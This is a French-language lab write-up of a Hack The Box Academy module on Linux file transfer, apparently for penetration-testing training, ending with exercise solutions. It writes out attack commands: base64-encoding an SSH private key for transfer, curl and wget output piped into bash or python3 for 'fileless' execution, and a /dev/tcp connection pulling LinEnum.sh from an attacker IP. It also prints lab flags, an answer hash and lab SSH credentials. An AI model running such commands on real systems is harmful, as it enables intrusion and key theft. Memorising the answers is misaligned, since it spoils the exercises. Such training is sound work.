Linux File Transfer Methods

Linux est un systĂšme d’exploitation polyvalent qui propose de nombreux outils pour effectuer des transferts de fichiers. Comprendre ces mĂ©thodes permet aussi bien aux attaquants qu’aux dĂ©fenseurs d’amĂ©liorer leurs compĂ©tences, qu’il s’agisse d’attaquer un rĂ©seau ou de prĂ©venir des attaques sophistiquĂ©es.


🎯 Contexte d’attaque : transfert de fichiers malveillants

Lors d’une intervention de rĂ©ponse Ă  incident sur plusieurs serveurs web, nous avons dĂ©couvert que des attaquants exploitaient une vulnĂ©rabilitĂ© SQL Injection. Ces attaquants utilisaient un script Bash qui tentait de tĂ©lĂ©charger un second malware, lequel se connectait ensuite au serveur de commande et contrĂŽle (C2) des attaquants.

Le script Bash tentait successivement trois méthodes de téléchargement :

  1. cURL

  2. wget

  3. Python

Toutes communiquaient via HTTP. MĂȘme si Linux peut utiliser d’autres protocoles comme FTP ou SMB (plus typiques de Windows), la majoritĂ© des malwares, sur tous systĂšmes, privilĂ©gient HTTP/HTTPS pour leurs communications.


🔍 Aperçu des mĂ©thodes de transfert de fichiers sous Linux

Dans cette section, nous allons étudier plusieurs méthodes pour transférer des fichiers sous Linux, incluant :

  • HTTP via wget, curl

  • Base64

  • Bash (/dev/tcp)

  • SSH / SCP

  • Transferts "fileless" (sans sauvegarde sur disque)


1. 🔄 Transfert de fichiers via encodage Base64 (sans rĂ©seau)

Lorsque la taille du fichier Ă  transfĂ©rer est raisonnable et qu’on dispose d’un terminal, il est possible d’utiliser base64 pour encoder un fichier en chaĂźne de caractĂšres, la copier, puis la dĂ©coder sur la machine cible.

Exemple : transférer une clé SSH

Vérifier le hash MD5 de la clé sur la source

md5sum id_rsa
# Résultat : 4e301756a07ded0a2dd6953abf015278  id_rsa

Encoder le fichier en Base64, en une seule ligne pour faciliter la copie

bashCopierModifiercat id_rsa | base64 -w 0; echo

(Cette commande produit une longue chaĂźne base64)

Sur la machine cible, décoder la chaßne pour recréer le fichier

echo -n 'CHAINE_BASE64' | base64 -d > id_rsa

Vérifier que le hash MD5 du fichier est identique

bashCopierModifiermd5sum id_rsa
# RĂ©sultat doit ĂȘtre identique : 4e301756a07ded0a2dd6953abf015278  id_rsa

Remarque : Cette méthode ne nécessite aucune communication réseau directe.


2. 🌐 TĂ©lĂ©chargement HTTP avec wget et cURL

Les deux outils les plus courants sous Linux pour interagir avec des ressources web sont wget et curl. Ils sont généralement préinstallés.

Télécharger un fichier avec wget

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

Télécharger un fichier avec cURL

curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

3. ⚡ Attaques sans fichier (fileless attacks)

Linux permet, grĂące Ă  ses pipes (|), d’exĂ©cuter des scripts directement sans les sauvegarder sur disque.

Exécuter un script Bash directement avec cURL

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

Exécuter un script Python directement avec wget

wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
# Affiche : Hello World!

Note : Certaines payloads peuvent malgré tout créer des fichiers temporaires sur le systÚme.


4. 📡 TĂ©lĂ©chargement avec Bash via /dev/tcp

Si les outils classiques manquent, et si Bash est compilé avec le support des redirections réseau (--enable-net-redirections), on peut utiliser le pseudo-fichier /dev/tcp pour réaliser des connexions TCP simples.

Exemple : connexion et requĂȘte HTTP

exec 3<>/dev/tcp/10.10.10.32/80
echo -e "GET /LinEnum.sh HTTP/1.1\n\n" >&3
cat <&3

Cette mĂ©thode permet de rĂ©cupĂ©rer le contenu d’un fichier via une requĂȘte HTTP brute.


5. 🔐 Transfert sĂ©curisĂ© via SSH et SCP

SSH permet un accÚs sécurisé à distance. Le protocole SCP (Secure Copy) utilise SSH pour transférer des fichiers de maniÚre sécurisée.

Copier un fichier de la machine locale vers une machine distante

scp /chemin/fichier user@IP_distante:/chemin/destination

Copier un fichier de la machine distante vers la machine locale

scp user@IP_distante:/chemin/fichier /chemin/destination_locale

Activer et démarrer le serveur SSH sur une machine Linux

sudo systemctl enable ssh
sudo systemctl start ssh

VĂ©rifier que le port SSH est Ă  l’écoute

netstat -lnpt | grep ssh

⚠ Points importants Ă  retenir

  • Les mĂ©thodes HTTP (wget, curl) sont trĂšs rĂ©pandues chez les attaquants et dĂ©fenseurs car elles sont souvent disponibles et passent souvent Ă  travers les firewalls.

  • Les transferts "fileless" sont pratiques pour Ă©viter de laisser des traces sur le disque.

  • Base64 est une mĂ©thode simple mais peu adaptĂ©e aux fichiers volumineux.

  • SSH/SCP reste la mĂ©thode la plus sĂ»re pour les transferts lĂ©gitimes.

  • La mĂ©thode /dev/tcp peut ĂȘtre utile dans les environnements restreints, mais nĂ©cessite une configuration spĂ©cifique de Bash.


📚 Ressources utiles


Download the file flag.txt from the web root using Python from the Pwnbox. Submit the contents of the file as your answer.

Nous récupérons le contenu du fichier flag.txt présent sur notre cible à l'aide de wget :

$ wget 10.129.234.168/flag.txt
Connecting to 10.129.234.168:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: ‘flag.txt’

flag.txt            100%[===================>]      33  --.-KB/s    in 0s      
2025-07-02 05:24:41 (7.41 MB/s) - ‘flag.txt’ saved [33/33]


$ cat flag.txt 
5d21cf3da9c0ccb94f709e2559f3ea50

Nous obtenons alors le flag attendu :

5d21cf3da9c0ccb94f709e2559f3ea50

SSH to 10.129.234.168 (ACADEMY-MISC-NIX04) with user "htb-student" and password "HTB_@cademy_stdnt!"

Upload the attached file named upload_nix.zip to the target using the method of your choice. Once uploaded, SSH to the box, extract the file, and run "hasher " from the command line. Submit the generated hash as your answer.

Nous téléchargeons sur notre cible le fichier zip attendu et nous ouvrons un serveur python afin de pouvoir récupérer le fichier sur notre cible par la suite :

$ wget https://academy.hackthebox.com/storage/modules/24/upload_nix.zip
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/zip]
Saving to: ‘upload_nix.zip’

upload_nix.zip      100%[===================>]     194  --.-KB/s    in 0s      

2025-07-02 05:30:16 (264 MB/s) - ‘upload_nix.zip’ saved [194/194]

$ ls
flag.txt  upload_nix.zip

$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Nous nous connectons Ă  distance Ă  notre cible via SSH :

$ ssh htb-student@10.129.234.168
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
htb-student@10.129.234.168's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-47-generic x86_64)

Last login: Wed Sep  9 22:42:43 2020 from 10.10.14.4
htb-student@nix04:~$ 

Une fois connectés, nous récupérons sur notre cible le fichier zip présent sur notre machine attaquante :

$ wget 10.10.14.171:8080/upload_nix.zip -O upload_nix.zip
--2025-07-02 10:33:59--  http://10.10.14.171:8080/upload_nix.zip
Connecting to 10.10.14.171:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/zip]
Saving to: ‘upload_nix.zip’

upload_nix.zip      100%[===================>]     194  --.-KB/s    in 0s      

2025-07-02 10:33:59 (13.2 MB/s) - ‘upload_nix.zip’ saved [194/194]

Nous pouvons maintenant essayer d'extraire l'archive :

htb-student@nix04:~$ unzip upload_nix.zip 

Command 'unzip' not found, but can be installed with:

apt install unzip
Please ask your administrator.

Nous observons alors que nous ne pouvons pas extraire notre fichier sur notre cible. Nous le faisons donc sur notre machine attaquante l'extraction de l'archive et récupérons le contenu de cette archive sur notre cible. Extraction de l'archive sur notre poste attaquant :

$ unzip upload_nix.zip 
Archive:  upload_nix.zip
 extracting: upload_nix.txt   

Récupération de ce fichier texte sur notre cible à l'aide du serveur http lancé sur le poste attaquant à l'aide de python :

htb-student@nix04:~$ wget 10.10.14.171:8080/upload_nix.txt -O upload_nix.txt
--2025-07-02 10:40:41--  http://10.10.14.171:8080/upload_nix.txt
Connecting to 10.10.14.171:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 32 [text/plain]
Saving to: ‘upload_nix.txt’

upload_nix.txt      100%[===================>]      32  --.-KB/s    in 0s      

2025-07-02 10:40:41 (2.77 MB/s) - ‘upload_nix.txt’ saved [32/32]

Utilisation de la commande hasher sur le fichier texte récupéré :

htb-student@nix04:~$ hasher upload_nix.txt 
159cfe5c65054bbadb2761cfa359c8b0

Nous obtenons donc le hash du fichier upload_nix.txt :

159cfe5c65054bbadb2761cfa359c8b0

Mis Ă  jour